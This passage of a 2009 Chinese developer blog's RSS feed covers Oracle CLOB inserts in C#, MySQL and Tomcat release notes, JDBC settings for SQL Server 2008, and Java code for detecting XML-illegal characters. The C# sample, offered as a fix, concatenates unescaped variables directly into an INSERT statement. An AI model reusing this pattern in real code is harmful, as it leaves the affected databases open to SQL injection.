&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;366&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19728&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;365&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19725&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;364&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19715&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;363&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19540&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;362&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19531&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;361&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;19525&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;positionArray[&lt;/span&gt;&lt;span class="number"&gt;&lt;span style="color: #c00000;"&gt;360&lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&amp;nbsp;=&amp;nbsp;%3</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=210</guid><pubDate>Thu, 11 Jun 2009 14:02:19 GMT</pubDate></item><item><title>C# 处理Oracle CLob插入或更新 字符串过长的问题[转]</title><link>http://www.chendw.cn:8080/view.aspx?id=207</link><description>&lt;p&gt;在项目开发过程中,碰见一个这样的问题:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;用FreeTextBox控件输入带格式的内容,保存至数据库,但插入时发现总是报错:字符串过长&lt;br /&gt;到网上搜了下,大概有几种方法,太复杂&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;后来这样的问题大概是由于Oracle,拼接sql语句不支持超过4000字符,中文不能超过2000,现在我参照网上有些兄弟的提示,用参数进行操作,实现如下:希望能给像我一样迷惑的兄弟一种解决方法&lt;/p&gt;
&lt;div style="padding-bottom: 4px; background-color: #eeeeee; padding-left: 4px; width: 98%; padding-right: 5px; font-size: 13px; word-break: break-all; padding-top: 4px; border: #cccccc 1px solid;"&gt;&lt;img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;利用传参数&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;OracleConnection&amp;nbsp;Con&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;System.Data.OracleClient.OracleConnection(strCon);&lt;br /&gt;&lt;img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Con.Open();&lt;br /&gt;&lt;img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;自己用时,替换自己的sql语句&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /&gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;cmdText&lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;insert&amp;nbsp;into&amp;nbsp;xmgl_wd(pk_wdbh,wdmc,lbbh,wdnr,wdfjdz,wdsj,istj)&amp;nbsp;values&amp;nbsp;(XMGL_WD_SEQ.Nextval,'&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;+&lt;/span&gt;&lt;span style="color: #000000;"&gt;wdmc&lt;/span&gt;&lt;span style="color: #000000;"&gt;+&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;','&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;+&lt;/span&gt;&lt;span style="color: #000000;"&gt;lbbh&lt;/span&gt;&lt;span style="color: #000000;"&gt;+&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;',:pb,'&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;+&lt;/span&gt;&lt;span style="color: #000000;"&gt;wdfjdz&lt;/span&gt;&lt;span style="color: #000000;"&gt;+&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;',&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;+&lt;/span&gt;&lt;span style="color: #000000;"&gt;str_add_wdsj&lt;/span&gt;&lt;span style="color: #000000;"&gt;+&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,'&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;+&lt;/span&gt;&lt;span style="color: #000000;"&gt;istj&lt;/span&gt;&lt;span style="color: #000000;"&gt;+&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;')&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;;&lt;br /&gt;&lt;img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;OracleCommand&amp;nbsp;cmd&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;OracleCommand(cmdText,Con);&lt;br /&gt;&lt;img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;OracleParameter&amp;nbsp;op&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;OracleParameter(&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;pb&lt;/span&gt;&lt;span style="color: #000000;"&gt;"&lt;/span&gt;&lt;span style="color: #000000;"&gt;,OracleType.Clob);&lt;br /&gt;&lt;img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;op.Value&amp;nbsp;&lt;/span&gt;&lt;span style="color: #000000;"&gt;=&lt;/span&gt;&lt;span style="color: #000000;"&gt;&amp;nbsp;wdnr;&lt;br /&gt;&lt;img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd.Parameters.Add(op);&lt;br /&gt;&lt;img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cmd.ExecuteNonQuery();&lt;br /&gt;&lt;img src="http://www.cnblogs.com/Images/OutliningIndicators/None.gif" alt="" align="top" /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Con.Close();&lt;/span&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=207</guid><pubDate>Mon, 08 Jun 2009 09:27:45 GMT</pubDate></item><item><title>MySQL 5.1系列最新版本5.1.35发布</title><link>http://www.chendw.cn:8080/view.aspx?id=206</link><description>&lt;div id="vogate_ad_area"&gt;
&lt;p&gt;MySQL今天放出5.1系列最新稳定版本5.1.35,这是去年11月26日5.1.30发布并标志着5.1系列正式GA后的第五个版本。上一个版本是2009-04-16的5.1.34。这个版本主要对Windows平台的安装包做了一些改进及复制和分区的Bug修正.其他各产品线是 5.0.82 4.1.25 4.0.30.&lt;br /&gt;&lt;br /&gt;下载:源码包:&lt;br /&gt;ftp://mirror2.dataphone.se/pub/mysql/Downloads/MySQL-5.1/mysql-5.1.35.tar.gz&lt;br /&gt;&lt;br /&gt;其他平台的bin包请见官方ftp&lt;br /&gt;ftp://mirror2.dataphone.se/pub/mysql/Downloads/MySQL-5.1/&lt;br /&gt;&lt;br /&gt;相关改进及修正声明：&lt;br /&gt;http://dev.mysql.com/doc/refman/5.1/en/news-5-1-35.html&lt;/p&gt;
&lt;/div&gt;
&lt;!-- 这篇新闻中是否有争论或者观点交锋呢？如果希望读者参与，请点击&lt;a href="http://pkzone.csdn.net/AdminManage/Editor_Apply.aspx"&gt;这里&lt;/a&gt;，创建一个观点PK --&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=206</guid><pubDate>Fri, 05 Jun 2009 13:59:12 GMT</pubDate></item><item><title>使用JDBC连接SQL SERVER 2008的方法 SQL2008连接</title><link>http://www.chendw.cn:8080/view.aspx?id=205</link><description>&lt;p&gt;使用JDBC连接SQL SERVER 2008，很多人都在问，我自己也测试几次，发现按照以前的方法连接会出现一点小问题。原因在于，SQL SERVER 2008采用了动态端口的机制，按照以前的方法连接会报告连接不了，其实端口写对了完全没有问题。连接方法如下：&lt;br /&gt;&lt;!--more--&gt;&lt;br /&gt;1，微软目前没有发布针对SQL Server 2008专用的JDBC驱动程序，使用SQL Server 2005 的就可以了，但是，需要注意： SQL Server 2008的新功能无法使用，这个必须等专用的JDBC发布之后才能使用。下载地址： &lt;br /&gt;&lt;br /&gt;Microsoft SQL Server 2005 JDBC Driver 1.2&lt;br /&gt;&lt;br /&gt;http://www.microsoft.com/downloads/details.aspx?displaylang=zh-cn&amp;amp;FamilyID=c47053eb-3b64-4794-950d-81e1ec91c1ba&lt;br /&gt;&lt;br /&gt;2，设置端口为固定端口：&lt;br /&gt;&lt;br /&gt;SQL Server 配置管理器，按图设置即可&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;img src="http://p.blog.csdn.net/images/p_blog_csdn_net/net_lover/EntryImages/20090204/sqlserver2008.gif" alt="" width="419" height="622" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;strong&gt;注意：动态端口设为空，即可禁用动态端口&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;连接的写法：&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;jdbc:sqlserver://192.168.3.6:1368;databaseName=数据库名称;user=用户名;password=密码;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=205</guid><pubDate>Fri, 22 May 2009 09:15:18 GMT</pubDate></item><item><title>Tomcat 6.0.20</title><link>http://www.chendw.cn:8080/view.aspx?id=204</link><description>&lt;p&gt;&lt;strong&gt;Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成.由于有了Sun 的参与和支持,最新的Servlet 和JSP 规范总是能在Tomcat 中得到体现,因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器.&lt;/strong&gt;Tomcat 很受广大程序员的喜欢,因为它运行时占用的系统资源小,扩展性好,支持负载平衡与邮件服务等开发应用系统常用的功能;而且它还在不断的改进和完善中,任何一个感兴趣的程序员都可以更改它或在其中加入新的功能.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;下载:&lt;/strong&gt;&lt;a href="http://people.apache.org/~remm/tomcat-6/v6.0.20/bin/" target="_blank"&gt;Tomcat 6.0.20&lt;/a&gt;&lt;/p&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=204</guid><pubDate>Sat, 16 May 2009 09:29:05 GMT</pubDate></item><item><title>【转】过滤XML不支持的字符</title><link>http://www.chendw.cn:8080/view.aspx?id=203</link><description>&lt;p&gt;众所周知，XML的快速发展，已经越来越多地出现在数据交互、文件配置和格式化的数据载体中，尽管XML支持的语言越来越多，但是还是有些字符是不被支持的。我在工作中就遇到了这样的问题，通过.csv文件录入数据，然后通过在程序中转化为XML中间文件，再将XML文件录入进行处理时发生异常，经过分析，是由于.csv文件中含有XML不支持的非法字符。&lt;/p&gt;
&lt;p&gt;&lt;!--more--&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 查询XML规范(&lt;a href="http://www.w3.org/TR/2004/REC-xml-20040204"&gt;http://www.w3.org/TR/2004/REC-xml-20040204&lt;/a&gt;)，得知：XML支持的字符范围：&lt;/p&gt;
&lt;p&gt;Character Range&lt;/p&gt;
&lt;p&gt;[2]&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;Char&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; ::=&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;#x9 | #xA | #xD | [#x20-#xD7FF] | [#xE000-#xFFFD] | [#x10000-#x10FFFF]&lt;br /&gt;&amp;nbsp;/* any Unicode character, excluding the surrogate blocks, FFFE, and FFFF. */&lt;br /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;从字符串中检测XML不支持的字符的Java代码：&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp; 1public static int checkCharacterData(String text){&lt;br /&gt;&amp;nbsp; 2&lt;br /&gt;&amp;nbsp; 3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int errorChar=0;&lt;br /&gt;&amp;nbsp; 4&lt;br /&gt;&amp;nbsp; 5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (text == null) {&lt;br /&gt;&amp;nbsp; 6&lt;br /&gt;&amp;nbsp; 7&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return errorChar;&lt;br /&gt;&amp;nbsp; 8&lt;br /&gt;&amp;nbsp; 9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;10&lt;br /&gt;&amp;nbsp;11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // do check&lt;br /&gt;&amp;nbsp;12&lt;br /&gt;&amp;nbsp;13&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char[] data = text.toCharArray();&lt;br /&gt;&amp;nbsp;14&lt;br /&gt;&amp;nbsp;15&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for (int i = 0, len = data.length; i &amp;lt; len; i++) {&lt;br /&gt;&amp;nbsp;16&lt;br /&gt;&amp;nbsp;17&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char c = data[i];&lt;br /&gt;&amp;nbsp;18&lt;br /&gt;&amp;nbsp;19&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int result = c;&lt;br /&gt;&amp;nbsp;20&lt;br /&gt;&amp;nbsp;21&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // high surrogate&lt;br /&gt;&amp;nbsp;22&lt;br /&gt;&amp;nbsp;23&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (result &amp;gt;= 0xD800 &amp;amp;&amp;amp; result &amp;lt;= 0xDBFF) {&lt;br /&gt;&amp;nbsp;24&lt;br /&gt;&amp;nbsp;25&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Decode surrogate pair&lt;br /&gt;&amp;nbsp;26&lt;br /&gt;&amp;nbsp;27&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int high = c;&lt;br /&gt;&amp;nbsp;28&lt;br /&gt;&amp;nbsp;29&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; try {&lt;br /&gt;&amp;nbsp;30&lt;br /&gt;&amp;nbsp;31&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int low = text.charAt(i+1);&lt;br /&gt;&amp;nbsp;32&lt;br /&gt;&amp;nbsp;33&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if (low &amp;lt; 0xDC00 || low &amp;gt; 0xDFFF) {&lt;br /&gt;&amp;nbsp;34&lt;br /&gt;&amp;nbsp;35&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char ch=(char)low;&lt;br /&gt;&amp;nbsp;36&lt;br /&gt;&amp;nbsp;37&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //System.err.println(ch);&lt;br /&gt;&amp;nbsp;38&lt;br /&gt;&amp;nbsp;39&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;40&lt;br /&gt;&amp;nbsp;41&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Algorithm defined in Unicode spec&lt;br /&gt;&amp;nbsp;42&lt;br /&gt;&amp;nbsp;43&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; result = (high-0xD800)*0x400 + (low-0xDC00) + 0x10000;&lt;br /&gt;&amp;nbsp;44&lt;br /&gt;&amp;nbsp;45&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; i++;&lt;br /&gt;&amp;nbsp;46&lt;br /&gt;&amp;nbsp;47&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;48&lt;br /&gt;&amp;nbsp;49&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; catch (IndexOutOfBoundsException e) {&lt;br /&gt;&amp;nbsp;50&lt;br /&gt;&amp;nbsp;51&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; e.printStackTrace();&lt;br /&gt;&amp;nbsp;52&lt;br /&gt;&amp;nbsp;53&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;54&lt;br 